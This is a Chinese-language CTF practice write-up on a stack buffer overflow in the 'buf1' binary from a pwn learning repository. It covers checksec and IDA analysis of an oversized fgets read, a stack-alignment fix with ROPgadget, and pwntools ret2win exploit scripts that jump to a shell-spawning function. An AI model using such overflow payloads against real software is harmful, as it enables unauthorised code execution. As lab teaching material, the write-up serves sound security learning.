github上面的练习题
git clone https://github.com/Adamkadaban/LearnPwn
然后开始做
先进行 readelf
然后进行执行看看 是怎么回事
./buf1
发现就是一个输入和输出
我们checksec看看
发现stack 保护关闭 开启了NX保护
我们进入ida64看看反汇编
我习惯先看看字符串 SHITF+F12
发现/bin/sh
我们先去主函数看看有什么漏洞
进入一个函数 getName
我们能看见 给了一个数组
然后下面又有一个fgets函数
fget()和get不同 不会无限输入
但是这里fgets 发现读取的大小为100 但是我们的s 只有15
这里我们就可以进行写入 因为他要读取 所以我们
可以把s和rbp填满垃圾字符 然后返回到shellcode地址
fget()
会读取指针所指的 并且大小限制的
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行
类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100
shellcode地址我们很容易就发现
exp
from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()
问题 出现 code -11
他原本自带了 exp
但是我发现执行不了
我们进行排查后发现是栈不对齐
我们gdb看看
我们发现 这里他
mov eax,0
pop rbp
ret
push rbp
执行力三条才到 rbp 这里就导致我们报错
我们该如何解决呢
我们自己设置返回即可
ROPgadget --binary ./buf1 --only 'pop|ret'
使用这个寄存器 直接设置返回即可
#!/bin/python3
from pwn import *
p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary
# context.log_level = 'debug'
offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11
payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=loc
p.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable was
p.interactive()